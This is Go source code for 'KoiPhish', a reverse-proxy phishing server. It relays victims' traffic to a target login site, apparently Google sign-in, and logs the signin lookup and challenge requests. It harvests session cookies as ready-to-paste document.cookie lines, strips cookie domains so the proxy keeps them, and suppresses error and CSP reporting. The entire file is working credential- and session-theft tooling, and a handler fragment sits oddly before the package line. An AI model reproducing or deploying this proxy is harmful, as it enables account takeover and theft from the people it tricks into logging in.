func blackholeRequest(w http.ResponseWriter, r *http.Request) {
	http.Error(w, "Not applicable.", http.StatusBadRequest)
	return
}
/////////////////////////////////////////////////////////////////////////////
/ Handler to ignore requests
/////////////////////////////////////////////////////////////////////////////
package main
import (
	"bytes"
	"compress/gzip"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/http/httputil"
	"net/url"
	"os"
	"strings"
	"time"
)
const _target string = "<put_target_server>"
const _sourceHost string = "localhost"
const _successRoute = "/CheckCookie"
var _cookiesToLookFor = map[string]string{}
var _requestsToDump = []string{"_/signin/sl/challenge", "_/signin/sl/lookup"}
var _requestsToIgnore = []string{"/_/common/diagnostics", "/cspreport", "/jserror", "/info"}
var _addtionalCustomBodyRewrites = []string{}
var _targetURL *url.URL
var _targetDomain string
var _logfile *os.File
func initialize() {
	starttime := time.Now()
	os.Mkdir("logs", 0644)
	filename := "./logs/koiphish." + starttime.Format("2006-01-02_150405") + ".log"
	_logfile, err := os.OpenFile(filename, os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Println(err)
	}
	log.SetOutput(_logfile)
	_targetURL, err = url.Parse(_target)
	if err != nil {
		panic(err)
	}
	_targetDomain = _targetURL.Scheme + "://" + _targetURL.Host
	log.Println("KoiPhish started.")
	log.Println("Target: " + _targetDomain)
	log.Println("Logfile: " + filename)
}
func checkForCookies(response *http.Response, content string) string {
	cookies := ""
	for i := 0; i < len(response.Cookies()); i++ {
		currentCookie := response.Cookies()[i]
		for name, domain := range _cookiesToLookFor {
			if currentCookie.Name == name {
				setcookie := "document.cookie=\"" + currentCookie.Name + "=" + currentCookie.Value + ";Domain=" + domain + "\""
				cookies += setcookie + "\n"
				log.Println(setcookie)
			}
		}
	}
	return cookies
}
func rewriteHeaders(request *http.Request, sourceRequest *http.Request) {
	for key, value := range sourceRequest.Header {
		neworig := strings.Replace(value[0], _sourceHost, _targetURL.Host, -1)
		request.Header.Set(key, neworig)
	}
	request.Header.Set("Host", _targetURL.Host)
	request.Header.Set("User-Agent", sourceRequest.UserAgent())
}
func main() {
	initialize()
	fmt.Println("KoiPhish started.")
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		log.Println("Request " + r.RequestURI + " received from " + r.RemoteAddr)
		dumpRequest(r)
		updatedRequestURL := strings.Replace(r.RequestURI, _sourceHost, _targetURL.Host, -1)
		destinationURL := _targetDomain + updatedRequestURL
		request, _ := http.NewRequest(r.Method, destinationURL, r.Body)
		if r.Method == "POST" {
			postBody, err := ioutil.ReadAll(r.Body)
			if err != nil {
				log.Printf("Error reading post body: %v", err)
				http.Error(w, "", http.StatusBadRequest)
				return
			}
			analyzeBody(r, string(postBody))
			postBodyString := strings.Replace(string(postBody), _sourceHost, _targetURL.Host, -1)
			requestBody := bytes.NewReader([]byte(postBodyString))
			request, err = http.NewRequest(r.Method,
				destinationURL,
				requestBody)
		}
		request.Header = r.Header
		rewriteHeaders(request, r)
		resp, err := http.DefaultClient.Do(request)
		if err != nil {
			log.Printf("Error issueing request: %v", err)
			http.Error(w, "", http.StatusBadRequest)
			return
		}
		defer resp.Body.Close()
		dumpResponse(resp)
		content, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			log.Printf("Error reading uncompressed body: %v", err)
			http.Error(w, "", http.StatusBadRequest)
			return
		}
		if resp.Header.Get("Content-Encoding") == "gzip" {
			content = decompress(content)
		}
		cookies := checkForCookies(resp, string(content))
		if cookies != "" {
			fmt.Println(cookies)
		}
		content = []byte(updateBody(string(content), _targetDomain))
		if resp.Header.Get("Content-Encoding") == "gzip" {
			content = compress(content)
		}
		for key, value := range resp.Header {
			if key == "Content-Length" {
				w.Header().Add(key, string(len(content)))
				continue
			}
			for _, valueToSet := range value {
				temp := strings.Split(_targetURL.Host, ".")
				topLevel := "." + temp[len(temp)-2] + "." + temp[len(temp)-1]
				if key == "Set-Cookie" {
					valueToSet = strings.Replace(valueToSet, ";Domain="+topLevel, "", -1)
				}
				w.Header().Add(key, valueToSet)
			}
		}
		w.Write(content)
	})
	http.HandleFunc(_successRoute, func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, _target, 302)
	})
	for i := 0; i < len(_requestsToIgnore); i++ {
		http.HandleFunc(_requestsToIgnore[i], blackholeRequest)
	}
	http.ListenAndServeTLS(":443", "server.crt", "server.key", nil)
}